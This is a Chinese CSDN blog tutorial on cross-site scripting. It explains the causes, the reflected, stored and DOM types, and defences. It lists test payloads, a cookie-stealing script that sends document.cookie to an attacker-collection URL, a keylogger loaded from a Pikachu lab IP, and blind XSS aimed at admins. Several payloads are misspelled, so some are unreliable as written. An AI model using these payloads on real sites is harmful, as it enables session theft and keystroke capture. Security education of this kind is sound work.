【XSS跨站脚本攻击】

本文详细介绍了XSS攻击的原理,包括其产生的原因和防范方式,区分了反射型、存储型和DOM型XSS,并列举了可能触发攻击的场景和payload实例。同时涵盖了XSS测试方法、平台利用和绕过技巧等内容。
摘要由CSDN通过智能技术生成

XSS属于客户端攻击,受害者最终是用户,但要特别注意网站的管理人与那也是用户之一。

XSS原理

XSS漏洞产生的主要原因是由于程序对输入和输入的控制不够严格,导致构建的恶意代码输入后,在前端浏览的时候被当作有效的代码解析执行从而产生危害。

XSS攻击具备条件

  1. 用户可以给客户端提交数据
  2. 提交的数据需要展示出来

防范XSS两种方式

  1. 输入防御
  2. 输出防御

XSS分类

反射型(中低危):交互的数据一般不保存在数据库中,一次性,一般出现在查询类页面等

存储型(中高危):交互的数据会被存在数据库中,永久性存储,一般出现在留言板、注册等界面

DOM型(中低危):通过js代码操作dom文档对象模型时出发的漏洞,一般不与后台服务器产生数据交互

        DOM全称Document Object Model,,也是文档对象模型。可以将DOM理解为,一个与系统平台和编程语言无关的接口,程序和脚本可以通过这个接口动态地访问和修改文档内容、结构和样式。

可能出发DOM型XSS的js操作:

document.referer
window.name
location   //跳转网址
innerHTML  //向某个标签中写入
document.write  //向某个标签中写入

XSS的payload

' "><scripy>confirm(1)</script>,其中' ">我们称之为完成闭合符号 ,后面跟着scri标签进行攻击,弹出了窗口表示我们的js代码被执行了

<scirpt>alert("xss");</script>

图片加载错误时触发
 示例:<img src="x" οnerrοr=alert(1)>
 鼠标指针移动到元素时触发
 示例:<img src=1 οnmοuseοver="alert(1)">
 鼠标指针移出时触发
 示例:<img src=1 οnmοuseοut="alert(1")>

<a href="http://www.qq.com">qq</a>
<a href=javascript:alert('1')>test</a>

按下按键时触发
 示例:<input type="text" οnkeydοwn="alert(1)">
 按下按键时触发
 示例:<input type="text" οnkeypress="alert(1)">
松开按键式时触发
 示例:<input type="text" οnkeyup="alert(1)">
 竞争焦点,从而触发onblur事件
 示例:<input οnblur=alert("xss") autofocus><input autofocus>

<style οnlοad=alert(1)></style>

XSS可能存在的地方

其实只要是有用户输入输出、用户交互的一些地方,都可能存在xss漏洞

HTML context ,Attribute Context, URL Context ,Style Context, Script Context

XSS测试方法

1.工具扫描:APPscans,AWVS,xray等大型漏扫工具,xsstrike等自动化小工具

2.手工测试,用Burp site 、浏览器

XSS平台搭建以及后台使用(cookie获取)

'"><script>documentlocation='恶意网址获取cookie网址?cookie='+document.cookie;</script>

get请求构造一段链接

反射型XSS(POST)获取cookie

post请求方式的xss攻击其实是比较难实现的,因为要构造一个网页html文件出来,写好攻击代码逻辑

上面构造的网页中,前面使用的window.onload就是构造了一个事件,使其先运行后面的代码,再运行 window.onload,此处是寻找id值为postsubmit的标签,click()自动进行了点击,其中的网站要写黑客用来收集cookie的网址

XSS获取键盘记录

'"><script src="http://192.168.0.15/pikachu/pkxss/rkeypress/rk.js"></script>

XSS盲打

xss盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意js代码在类似留言板等输入框输入后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时候就会触发恶意代码,从而达到攻击者目的,也就是通过前端插入攻击代码,在后台管理系统生效。

111'"><sCrIpT>alter(666)</sCrIpT>

若采用获取cookie,则可以获取到后台管理员cookie

XSS绕过

XSS绕过方法

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值